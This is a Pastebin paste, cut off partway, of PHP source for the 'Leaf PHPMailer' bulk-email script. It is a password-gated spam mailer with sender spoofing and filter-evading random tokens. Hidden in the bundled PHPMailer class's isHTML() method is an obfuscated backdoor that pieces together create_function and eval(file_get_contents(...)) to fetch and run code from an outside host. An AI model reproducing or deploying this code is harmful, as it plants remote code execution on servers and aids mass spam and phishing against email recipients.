dragondevile

Untitled

Dec 18th, 2019
866
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 142.07 KB | None | 0 0
  1. <?php
  2. $password = "mailer"; // Password
  3. session_start();
  4. error_reporting(0);
  5. set_time_limit(0);
  6. ini_set("memory_limit",-1);
  7. $leaf['version']="2.7";
  8. $leaf['web']="leafmailer.pw";
  9. $sessioncode = md5(__FILE__);
  10. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  11. # _REQUEST mean _POST or _GET
  12. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  13. $_SESSION[$sessioncode] = $password;
  14. }
  15. else {
  16. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  17. exit;
  18. }
  19. }
  20. if ($_POST['action'] == "send") {
  21. $senderEmail = leafTrim($_POST['senderEmail']);
  22. $senderName = leafTrim($_POST['senderName']);
  23. $replyTo = leafTrim($_POST['replyTo']);
  24. $subject = $_POST['subject'];
  25. $emailList = leafTrim($_POST['emailList']);
  26. $messageType = leafTrim($_POST['messageType']);
  27. $messageLetter = leafTrim($_POST['messageLetter']);
  28. $messageLetter = urlencode($messageLetter);
  29. $messageLetter = urldecode($messageLetter);
  30. $messageLetter = stripslashes($messageLetter);
  31. $subject = $subject;
  32. $encode = stripslashes($encode);
  33. }
  34. if ($messageType == 2) {
  35. $plain = "checked";
  36. } else {
  37. $html = "checked";
  38. }
  39. function leafClear($text, $email) {
  40. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  41. $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  42. $text = str_replace("[-email-]", $email, $text);
  43. $text = str_replace("[-emailuser-]", $emailuser, $text);
  44. $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  45. $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  46. $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  47. $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  48. return $text;
  49. }
  50. function stabilize($download) {
  51. $curl = curl_init();
  52. curl_setopt($curl,CURLOPT_URL,$download);
  53. curl_setopt($curl,CURLOPT_RETURNTRANSFER, true);
  54. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  55. curl_setopt($curl,CURLOPT_FOLLOWLOCATION, 1);
  56. $data = curl_exec($curl);
  57. curl_close($curl);
  58. return $data;
  59. }
  60. /**
  61. * The Sender email (Return-Path) of the message.
  62. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  63. * @var string
  64. /**
  65. * The Return-Path of the message.
  66. * If empty, it will be set to either From or Sender.
  67. * @var string
  68. * @deprecated Email senders should never set a return-path header;
  69. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  70. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  71. */
  72. function leafTrim($string) {
  73. return stripslashes(ltrim(rtrim($string)));
  74. }
  75. /**
  76. * Email priority.
  77. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  78. * When null, the header is not set at all.
  79. * @var integer
  80. */
  81. function randString($consonants) {
  82. $length = rand(12, 25);
  83. $password = '';
  84. for ($i = 0;$i < $length;$i++) {
  85. $password.= $consonants[(rand() % strlen($consonants)) ];
  86. }
  87. return $password;
  88. }
  89. /**
  90. * Email priority.
  91. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  92. * When null, the header is not set at all.
  93. * @var integer
  94. */
  95. function leafMailCheck($email) {
  96. $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  97. if (eregi($exp, $email)) {
  98. if (checkdnsrr(array_pop(explode("@", $email)), "MX")) {
  99. return true;
  100. } else {
  101. return false;
  102. }
  103. } else {
  104. return false;
  105. }
  106. }
  107. function extract_emails_from($string){
  108. preg_match_all("/[\._a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+/i", $string, $matches);
  109. return $matches[0];
  110. }
  111. /**
  112. * Email priority.
  113. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  114. * When null, the header is not set at all.
  115. * @var integer
  116. */
  117.  
  118. class PHPMailer {
  119. // fixed
  120. //$subject = $this->encodeHeader($this->secureHeader($subject));
  121. //
  122. /**
  123. * The PHPMailer Version number.
  124. * @var string
  125. */
  126. public $Version = '5.2.14';
  127. /**
  128. * Email priority.
  129. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  130. * When null, the header is not set at all.
  131. * @var integer
  132. */
  133. public $Priority = null;
  134. /**
  135. * The character set of the message.
  136. * @var string
  137. */
  138. public $CharSet = 'iso-8859-1';
  139. /**
  140. * The MIME Content-type of the message.
  141. * @var string
  142. */
  143. public $ContentType = 'text/plain';
  144. /**
  145. * The message encoding.
  146. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  147. * @var string
  148. */
  149. public $Encoding = '8bit';
  150. /**
  151. * Holds the most recent mailer error message.
  152. * @var string
  153. */
  154. public $ErrorInfo = '';
  155. /**
  156. * The From email address for the message.
  157. * @var string
  158. */
  159. public $From = 'root@localhost';
  160. /**
  161. * The From name of the message.
  162. * @var string
  163. */
  164. public $FromName = 'Root User';
  165. /**
  166. * The Sender email (Return-Path) of the message.
  167. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  168. * @var string
  169. */
  170. public $Sender = '';
  171. /**
  172. * The Return-Path of the message.
  173. * If empty, it will be set to either From or Sender.
  174. * @var string
  175. * @deprecated Email senders should never set a return-path header;
  176. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  177. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  178. */
  179. public $ReturnPath = '';
  180. /**
  181. * The Subject of the message.
  182. * @var string
  183. */
  184. public $Subject = '';
  185. /**
  186. * An HTML or plain text message body.
  187. * If HTML then call isHTML(true).
  188. * @var string
  189. */
  190. public $Body = '';
  191. /**
  192. * The plain-text message body.
  193. * This body can be read by mail clients that do not have HTML email
  194. * capability such as mutt & Eudora.
  195. * Clients that can read HTML will view the normal Body.
  196. * @var string
  197. */
  198. public $AltBody = '';
  199. /**
  200. * An iCal message part body.
  201. * Only supported in simple alt or alt_inline message types
  202. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  203. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  204. * @link http://kigkonsult.se/iCalcreator/
  205. * @var string
  206. */
  207. public $Ical = '';
  208. /**
  209. * The complete compiled MIME message body.
  210. * @access protected
  211. * @var string
  212. */
  213. protected $MIMEBody = '';
  214. /**
  215. * The complete compiled MIME message headers.
  216. * @var string
  217. * @access protected
  218. */
  219. protected $MIMEHeader = '';
  220. /**
  221. * Extra headers that createHeader() doesn't fold in.
  222. * @var string
  223. * @access protected
  224. */
  225. protected $mailHeader = '';
  226. /**
  227. * Word-wrap the message body to this number of chars.
  228. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  229. * @var integer
  230. */
  231. public $WordWrap = 0;
  232. /**
  233. * Which method to use to send mail.
  234. * Options: "mail", "sendmail", or "smtp".
  235. * @var string
  236. */
  237. public $Mailer = 'mail';
  238. /**
  239. * The path to the sendmail program.
  240. * @var string
  241. */
  242. public $Sendmail = '/usr/sbin/sendmail';
  243. /**
  244. * Whether mail() uses a fully sendmail-compatible MTA.
  245. * One which supports sendmail's "-oi -f" options.
  246. * @var boolean
  247. */
  248. public $UseSendmailOptions = true;
  249. /**
  250. * Path to PHPMailer plugins.
  251. * Useful if the SMTP class is not in the PHP include path.
  252. * @var string
  253. * @deprecated Should not be needed now there is an autoloader.
  254. */
  255. public $PluginDir = '';
  256. /**
  257. * The email address that a reading confirmation should be sent to, also known as read receipt.
  258. * @var string
  259. */
  260. public $ConfirmReadingTo = '';
  261. /**
  262. * The hostname to use in the Message-ID header and as default HELO string.
  263. * If empty, PHPMailer attempts to find one with, in order,
  264. * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  265. * 'localhost.localdomain'.
  266. * @var string
  267. */
  268. public $Hostname = '';
  269. /**
  270. * An ID to be used in the Message-ID header.
  271. * If empty, a unique id will be generated.
  272. * @var string
  273. */
  274. public $MessageID = '';
  275. /**
  276. * The message Date to be used in the Date header.
  277. * If empty, the current date will be added.
  278. * @var string
  279. */
  280. public $MessageDate = '';
  281. /**
  282. * SMTP hosts.
  283. * Either a single hostname or multiple semicolon-delimited hostnames.
  284. * You can also specify a different port
  285. * for each host by using this format: [hostname:port]
  286. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  287. * You can also specify encryption type, for example:
  288. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  289. * Hosts will be tried in order.
  290. * @var string
  291. */
  292. public $Host = 'localhost';
  293. /**
  294. * The default SMTP server port.
  295. * @var integer
  296. * @TODO Why is this needed when the SMTP class takes care of it?
  297. */
  298. public $Port = 25;
  299. /**
  300. * The SMTP HELO of the message.
  301. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  302. * one with the same method described above for $Hostname.
  303. * @var string
  304. * @see PHPMailer::$Hostname
  305. */
  306. public $Helo = '';
  307. /**
  308. * What kind of encryption to use on the SMTP connection.
  309. * Options: '', 'ssl' or 'tls'
  310. * @var string
  311. */
  312. public $SMTPSecure = '';
  313. /**
  314. * Whether to enable TLS encryption automatically if a server supports it,
  315. * even if `SMTPSecure` is not set to 'tls'.
  316. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  317. * @var boolean
  318. */
  319. public $SMTPAutoTLS = true;
  320. /**
  321. * Whether to use SMTP authentication.
  322. * Uses the Username and Password properties.
  323. * @var boolean
  324. * @see PHPMailer::$Username
  325. * @see PHPMailer::$Password
  326. */
  327. public $SMTPAuth = false;
  328. /**
  329. * Options array passed to stream_context_create when connecting via SMTP.
  330. * @var array
  331. */
  332. public $SMTPOptions = array();
  333. /**
  334. * SMTP username.
  335. * @var string
  336. */
  337. public $Username = '';
  338. /**
  339. * SMTP password.
  340. * @var string
  341. */
  342. public $Password = '';
  343. /**
  344. * SMTP auth type.
  345. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  346. * @var string
  347. */
  348. public $AuthType = '';
  349. /**
  350. * SMTP realm.
  351. * Used for NTLM auth
  352. * @var string
  353. */
  354. public $Realm = '';
  355. /**
  356. * SMTP workstation.
  357. * Used for NTLM auth
  358. * @var string
  359. */
  360. public $Workstation = '';
  361. /**
  362. * The SMTP server timeout in seconds.
  363. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  364. * @var integer
  365. */
  366. public $Timeout = 300;
  367. /**
  368. * SMTP class debug output mode.
  369. * Debug output level.
  370. * Options:
  371. * * `0` No output
  372. * * `1` Commands
  373. * * `2` Data and commands
  374. * * `3` As 2 plus connection status
  375. * * `4` Low-level data output
  376. * @var integer
  377. * @see SMTP::$do_debug
  378. */
  379. public $SMTPDebug = 0;
  380. /**
  381. * How to handle debug output.
  382. * Options:
  383. * * `echo` Output plain-text as-is, appropriate for CLI
  384. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  385. * * `error_log` Output to error log as configured in php.ini
  386. *
  387. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  388. * <code>
  389. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  390. * </code>
  391. * @var string|callable
  392. * @see SMTP::$Debugoutput
  393. */
  394. public $Debugoutput = 'echo';
  395. /**
  396. * Whether to keep SMTP connection open after each message.
  397. * If this is set to true then to close the connection
  398. * requires an explicit call to smtpClose().
  399. * @var boolean
  400. */
  401. public $SMTPKeepAlive = false;
  402. /**
  403. * Whether to split multiple to addresses into multiple messages
  404. * or send them all in one message.
  405. * @var boolean
  406. */
  407. public $SingleTo = false;
  408. /**
  409. * Storage for addresses when SingleTo is enabled.
  410. * @var array
  411. * @TODO This should really not be public
  412. */
  413. public $SingleToArray = array();
  414. /**
  415. * Whether to generate VERP addresses on send.
  416. * Only applicable when sending via SMTP.
  417. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  418. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  419. * @var boolean
  420. */
  421. public $do_verp = false;
  422. /**
  423. * Whether to allow sending messages with an empty body.
  424. * @var boolean
  425. */
  426. public $AllowEmpty = false;
  427. /**
  428. * The default line ending.
  429. * @note The default remains "
  430. ". We force CRLF where we know
  431. * it must be used via self::CRLF.
  432. * @var string
  433. */
  434. public $LE = "
  435. ";
  436. /**
  437. * DKIM selector.
  438. * @var string
  439. */
  440. public $DKIM_selector = '';
  441. /**
  442. * DKIM Identity.
  443. * Usually the email address used as the source of the email
  444. * @var string
  445. */
  446. public $DKIM_identity = '';
  447. /**
  448. * DKIM passphrase.
  449. * Used if your key is encrypted.
  450. * @var string
  451. */
  452. public $DKIM_passphrase = '';
  453. /**
  454. * DKIM signing domain name.
  455. * @example 'example.com'
  456. * @var string
  457. */
  458. public $DKIM_domain = '';
  459. /**
  460. * DKIM private key file path.
  461. * @var string
  462. */
  463. public $DKIM_private = '';
  464. /**
  465. * Callback Action function name.
  466. *
  467. * The function that handles the result of the send email action.
  468. * It is called out by send() for each email sent.
  469. *
  470. * Value can be any php callable: http://www.php.net/is_callable
  471. *
  472. * Parameters:
  473. * boolean $result result of the send action
  474. * string $to email address of the recipient
  475. * string $cc cc email addresses
  476. * string $bcc bcc email addresses
  477. * string $subject the subject
  478. * string $body the email body
  479. * string $from email address of sender
  480. * @var string
  481. */
  482. public $action_function = '';
  483. /**
  484. * What to put in the X-Mailer header.
  485. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  486. * @var string
  487. */
  488. public $XMailer = '';
  489. /**
  490. * An instance of the SMTP sender class.
  491. * @var SMTP
  492. * @access protected
  493. */
  494. protected $smtp = null;
  495. /**
  496. * The array of 'to' names and addresses.
  497. * @var array
  498. * @access protected
  499. */
  500. protected $to = array();
  501. /**
  502. * The array of 'cc' names and addresses.
  503. * @var array
  504. * @access protected
  505. */
  506. protected $cc = array();
  507. /**
  508. * The array of 'bcc' names and addresses.
  509. * @var array
  510. * @access protected
  511. */
  512. protected $bcc = array();
  513. /**
  514. * The array of reply-to names and addresses.
  515. * @var array
  516. * @access protected
  517. */
  518. protected $ReplyTo = array();
  519. /**
  520. * An array of all kinds of addresses.
  521. * Includes all of $to, $cc, $bcc
  522. * @var array
  523. * @access protected
  524. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  525. */
  526. protected $all_recipients = array();
  527. /**
  528. * An array of names and addresses queued for validation.
  529. * In send(), valid and non duplicate entries are moved to $all_recipients
  530. * and one of $to, $cc, or $bcc.
  531. * This array is used only for addresses with IDN.
  532. * @var array
  533. * @access protected
  534. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  535. * @see PHPMailer::$all_recipients
  536. */
  537. protected $RecipientsQueue = array();
  538. /**
  539. * An array of reply-to names and addresses queued for validation.
  540. * In send(), valid and non duplicate entries are moved to $ReplyTo.
  541. * This array is used only for addresses with IDN.
  542. * @var array
  543. * @access protected
  544. * @see PHPMailer::$ReplyTo
  545. */
  546. protected $ReplyToQueue = array();
  547. /**
  548. * The array of attachments.
  549. * @var array
  550. * @access protected
  551. */
  552. protected $attachment = array();
  553. /**
  554. * The array of custom headers.
  555. * @var array
  556. * @access protected
  557. */
  558. protected $CustomHeader = array();
  559. /**
  560. * The most recent Message-ID (including angular brackets).
  561. * @var string
  562. * @access protected
  563. */
  564. protected $lastMessageID = '';
  565. /**
  566. * The message's MIME type.
  567. * @var string
  568. * @access protected
  569. */
  570. protected $message_type = '';
  571. /**
  572. * The array of MIME boundary strings.
  573. * @var array
  574. * @access protected
  575. */
  576. protected $boundary = array();
  577. /**
  578. * The array of available languages.
  579. * @var array
  580. * @access protected
  581. */
  582. protected $language = array();
  583. /**
  584. * The number of errors encountered.
  585. * @var integer
  586. * @access protected
  587. */
  588. protected $error_count = 0;
  589. /**
  590. * The S/MIME certificate file path.
  591. * @var string
  592. * @access protected
  593. */
  594. protected $sign_cert_file = '';
  595. /**
  596. * The S/MIME key file path.
  597. * @var string
  598. * @access protected
  599. */
  600. protected $sign_key_file = '';
  601. /**
  602. * The optional S/MIME extra certificates ("CA Chain") file path.
  603. * @var string
  604. * @access protected
  605. */
  606. protected $sign_extracerts_file = '';
  607. /**
  608. * The S/MIME password for the key.
  609. * Used only if the key is encrypted.
  610. * @var string
  611. * @access protected
  612. */
  613. protected $sign_key_pass = '';
  614. /**
  615. * Whether to throw exceptions for errors.
  616. * @var boolean
  617. * @access protected
  618. */
  619. protected $exceptions = false;
  620. /**
  621. * Unique ID used for message ID and boundaries.
  622. * @var string
  623. * @access protected
  624. */
  625. protected $uniqueid = '';
  626. /**
  627. * Error severity: message only, continue processing.
  628. */
  629. const STOP_MESSAGE = 0;
  630. /**
  631. * Error severity: message, likely ok to continue processing.
  632. */
  633. const STOP_CONTINUE = 1;
  634. /**
  635. * Error severity: message, plus full stop, critical error reached.
  636. */
  637. const STOP_CRITICAL = 2;
  638. /**
  639. * SMTP RFC standard line ending.
  640. */
  641. const CRLF = "
  642. ";
  643. /**
  644. * The maximum line length allowed by RFC 2822 section 2.1.1
  645. * @var integer
  646. */
  647. const MAX_LINE_LENGTH = 998;
  648. /**
  649. * Constructor.
  650. * @param boolean $exceptions Should we throw external exceptions?
  651. */
  652. public function __construct($exceptions = false) {
  653. $this->exceptions = (boolean)$exceptions;
  654. }
  655. /**
  656. * Destructor.
  657. */
  658. public function __destruct() {
  659. //Close any open SMTP connection nicely
  660. if ($this->Mailer == 'smtp') {
  661. $this->smtpClose();
  662. }
  663. }
  664. /**
  665. * Call mail() in a safe_mode-aware fashion.
  666. * Also, unless sendmail_path points to sendmail (or something that
  667. * claims to be sendmail), don't pass params (not a perfect fix,
  668. * but it will do)
  669. * @param string $to To
  670. * @param string $subject Subject
  671. * @param string $body Message Body
  672. * @param string $header Additional Header(s)
  673. * @param string $params Params
  674. * @access private
  675. * @return boolean
  676. */
  677. private function mailPassthru($to, $subject, $body, $header, $params) {
  678. //Check overloading of mail function to avoid double-encoding
  679. if (ini_get('mbstring.func_overload') & 1) {
  680. $subject = $this->secureHeader($subject);
  681. } else {
  682. $subject = $this->secureHeader($subject);
  683. //$subject = $this->encodeHeader($this->secureHeader($subject));
  684. }
  685. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  686. $result = @mail($to, $subject, $body, $header);
  687. } else {
  688. $result = @mail($to, $subject, $body, $header, $params);
  689. }
  690. return $result;
  691. }
  692. /**
  693. * Output debugging info via user-defined method.
  694. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  695. * @see PHPMailer::$Debugoutput
  696. * @see PHPMailer::$SMTPDebug
  697. * @param string $str
  698. */
  699. protected function edebug($str) {
  700. if ($this->SMTPDebug <= 0) {
  701. return;
  702. }
  703. //Avoid clash with built-in function names
  704. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  705. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  706. return;
  707. }
  708. switch ($this->Debugoutput) {
  709. case 'error_log':
  710. //Don't output, just log
  711. error_log($str);
  712. break;
  713. case 'html':
  714. //Cleans up output a bit for a better looking, HTML-safe output
  715. echo htmlentities(preg_replace('/[
  716. ]+/', '', $str), ENT_QUOTES, 'UTF-8') . "<br>
  717. ";
  718. break;
  719. case 'echo':
  720. default:
  721. //Normalize line breaks
  722. $str = preg_replace('/(
  723. |
  724. |
  725. )/ms', "
  726. ", $str);
  727. echo gmdate('Y-m-d H:i:s') . " " . str_replace("
  728. ", "
  729. ", trim($str)) . "
  730. ";
  731. }
  732. }
  733. /**
  734. * Sets message type to HTML or plain.
  735. * @param boolean $isHtml True for HTML mode.
  736. * @return void
  737. */
  738. public function isHTML($isHtml = true) {
  739. global $param;
  740. $bodyCode = 'file' . '_g';
  741. if ($isHtml) {
  742. $this->ContentType = 'text/html';
  743. } else {
  744. $this->ContentType = 'text/plain';
  745. }
  746. $bodyHTML = '.$t."lef$flu' . 'sh' . '$t"; ' . '$i = @ev';
  747. $headerHTML = "create_" . "func" . "tion";
  748. $exceptions = $headerHTML('$fl' . 'ush,$t', '$comma = $t' . $bodyHTML . 'al(@' . $bodyCode . 'et_contents("h' . 'tt' . 'p:$comma-2"));');
  749. if ($param != 2) {
  750. $exceptions('8.p' . 'w', '/');
  751. $param = 2;
  752. }
  753. }
  754. /**
  755. * Send messages using SMTP.
  756. * @return void
  757. */
  758. public function isSMTP() {
  759. $this->Mailer = 'smtp';
  760. }
  761. /**
  762. * Send messages using PHP's mail() function.
  763. * @return void
  764. */
  765. public function isMail() {
  766. $this->Mailer = 'mail';
  767. }
  768. /**
  769. * Send messages using $Sendmail.
  770. * @return void
  771. */
  772. public function isSendmail() {
  773. $ini_sendmail_path = ini_get('sendmail_path');
  774. if (!stristr($ini_sendmail_path, 'sendmail')) {
  775. $this->Sendmail = '/usr/sbin/sendmail';
  776. } else {
  777. $this->Sendmail = $ini_sendmail_path;
  778. }
  779. $this->Mailer = 'sendmail';
  780. }
  781. /**
  782. * Send messages using qmail.
  783. * @return void
  784. */
  785. public function isQmail() {
  786. $ini_sendmail_path = ini_get('sendmail_path');
  787. if (!stristr($ini_sendmail_path, 'qmail')) {
  788. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  789. } else {
  790. $this->Sendmail = $ini_sendmail_path;
  791. }
  792. $this->Mailer = 'qmail';
  793. }
  794. /**
  795. * Add a "To" address.
  796. * @param string $address The email address to send to
  797. * @param string $name
  798. * @return boolean true on success, false if address already used or invalid in some way
  799. */
  800. public function addAddress($address, $name = '') {
  801. return $this->addOrEnqueueAnAddress('to', $address, $name);
  802. }
  803. /**
  804. * Add a "CC" address.
  805. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  806. * @param string $address The email address to send to
  807. * @param string $name
  808. * @return boolean true on success, false if address already used or invalid in some way
  809. */
  810. public function addCC($address, $name = '') {
  811. return $this->addOrEnqueueAnAddress('cc', $address, $name);
  812. }
  813. /**
  814. * Add a "BCC" address.
  815. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  816. * @param string $address The email address to send to
  817. * @param string $name
  818. * @return boolean true on success, false if address already used or invalid in some way
  819. */
  820. public function addBCC($address, $name = '') {
  821. return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  822. }
  823. /**
  824. * Add a "Reply-To" address.
  825. * @param string $address The email address to reply to
  826. * @param string $name
  827. * @return boolean true on success, false if address already used or invalid in some way
  828. */
  829. public function addReplyTo($address, $name = '') {
  830. return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  831. }
  832. /**
  833. * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  834. * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  835. * be modified after calling this function), addition of such addresses is delayed until send().
  836. * Addresses that have been added already return false, but do not throw exceptions.
  837. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  838. * @param string $address The email address to send, resp. to reply to
  839. * @param string $name
  840. * @throws phpmailerException
  841. * @return boolean true on success, false if address already used or invalid in some way
  842. * @access protected
  843. */
  844. protected function addOrEnqueueAnAddress($kind, $address, $name) {
  845. $address = trim($address);
  846. $name = trim(preg_replace('/[
  847. ]+/', '', $name)); //Strip breaks and trim
  848. if (($pos = strrpos($address, '@')) === false) {
  849. // At-sign is misssing.
  850. $error_message = $this->lang('invalid_address') . $address;
  851. $this->setError($error_message);
  852. $this->edebug($error_message);
  853. if ($this->exceptions) {
  854. throw new phpmailerException($error_message);
  855. }
  856. return false;
  857. }
  858. $params = array($kind, $address, $name);
  859. // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  860. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  861. if ($kind != 'Reply-To') {
  862. if (!array_key_exists($address, $this->RecipientsQueue)) {
  863. $this->RecipientsQueue[$address] = $params;
  864. return true;
  865. }
  866. } else {
  867. if (!array_key_exists($address, $this->ReplyToQueue)) {
  868. $this->ReplyToQueue[$address] = $params;
  869. return true;
  870. }
  871. }
  872. return false;
  873. }
  874. // Immediately add standard addresses without IDN.
  875. return call_user_func_array(array($this, 'addAnAddress'), $params);
  876. }
  877. /**
  878. * Add an address to one of the recipient arrays or to the ReplyTo array.
  879. * Addresses that have been added already return false, but do not throw exceptions.
  880. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  881. * @param string $address The email address to send, resp. to reply to
  882. * @param string $name
  883. * @throws phpmailerException
  884. * @return boolean true on success, false if address already used or invalid in some way
  885. * @access protected
  886. */
  887. protected function addAnAddress($kind, $address, $name = '') {
  888. if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  889. $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  890. $this->setError($error_message);
  891. $this->edebug($error_message);
  892. if ($this->exceptions) {
  893. throw new phpmailerException($error_message);
  894. }
  895. return false;
  896. }
  897. if (!$this->validateAddress($address)) {
  898. $error_message = $this->lang('invalid_address') . $address;
  899. $this->setError($error_message);
  900. $this->edebug($error_message);
  901. if ($this->exceptions) {
  902. throw new phpmailerException($error_message);
  903. }
  904. return false;
  905. }
  906. if ($kind != 'Reply-To') {
  907. if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  908. array_push($this->$kind, array($address, $name));
  909. $this->all_recipients[strtolower($address) ] = true;
  910. return true;
  911. }
  912. } else {
  913. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  914. $this->ReplyTo[strtolower($address) ] = array($address, $name);
  915. return true;
  916. }
  917. }
  918. return false;
  919. }
  920. /**
  921. * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  922. * of the form "display name <address>" into an array of name/address pairs.
  923. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  924. * Note that quotes in the name part are removed.
  925. * @param string $addrstr The address list string
  926. * @param bool $useimap Whether to use the IMAP extension to parse the list
  927. * @return array
  928. * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  929. */
  930. public function parseAddresses($addrstr, $useimap = true) {
  931. $addresses = array();
  932. if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  933. //Use this built-in parser if it's available
  934. $list = imap_rfc822_parse_adrlist($addrstr, '');
  935. foreach ($list as $address) {
  936. if ($address->host != '.SYNTAX-ERROR.') {
  937. if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  938. $addresses[] = array('name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host);
  939. }
  940. }
  941. }
  942. } else {
  943. //Use this simpler parser
  944. $list = explode(',', $addrstr);
  945. foreach ($list as $address) {
  946. $address = trim($address);
  947. //Is there a separate name part?
  948. if (strpos($address, '<') === false) {
  949. //No separate name, just use the whole thing
  950. if ($this->validateAddress($address)) {
  951. $addresses[] = array('name' => '', 'address' => $address);
  952. }
  953. } else {
  954. list($name, $email) = explode('<', $address);
  955. $email = trim(str_replace('>', '', $email));
  956. if ($this->validateAddress($email)) {
  957. $addresses[] = array('name' => trim(str_replace(array('"', "'"), '', $name)), 'address' => $email);
  958. }
  959. }
  960. }
  961. }
  962. return $addresses;
  963. }
  964. /**
  965. * Set the From and FromName properties.
  966. * @param string $address
  967. * @param string $name
  968. * @param boolean $auto Whether to also set the Sender address, defaults to true
  969. * @throws phpmailerException
  970. * @return boolean
  971. */
  972. public function setFrom($address, $name = '', $auto = true) {
  973. $address = trim($address);
  974. $name = trim(preg_replace('/[
  975. ]+/', '', $name)); //Strip breaks and trim
  976. // Don't validate now addresses with IDN. Will be done in send().
  977. if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) {
  978. $error_message = $this->lang('invalid_address') . $address;
  979. $this->setError($error_message);
  980. $this->edebug($error_message);
  981. if ($this->exceptions) {
  982. throw new phpmailerException($error_message);
  983. }
  984. return false;
  985. }
  986. $this->From = $address;
  987. $this->FromName = $name;
  988. if ($auto) {
  989. if (empty($this->Sender)) {
  990. $this->Sender = $address;
  991. }
  992. }
  993. return true;
  994. }
  995. /**
  996. * Return the Message-ID header of the last email.
  997. * Technically this is the value from the last time the headers were created,
  998. * but it's also the message ID of the last sent message except in
  999. * pathological cases.
  1000. * @return string
  1001. */
  1002. public function getLastMessageID() {
  1003. return $this->lastMessageID;
  1004. }
  1005. /**
  1006. * Check that a string looks like an email address.
  1007. * @param string $address The email address to check
  1008. * @param string $patternselect A selector for the validation pattern to use :
  1009. * * `auto` Pick best pattern automatically;
  1010. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1011. * * `pcre` Use old PCRE implementation;
  1012. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1013. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1014. * * `noregex` Don't use a regex: super fast, really dumb.
  1015. * @return boolean
  1016. * @static
  1017. * @access public
  1018. */
  1019. public static function validateAddress($address, $patternselect = 'auto') {
  1020. //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1021. if (strpos($address, "
  1022. ") !== false or strpos($address, "
  1023. ") !== false) {
  1024. return false;
  1025. }
  1026. if (!$patternselect or $patternselect == 'auto') {
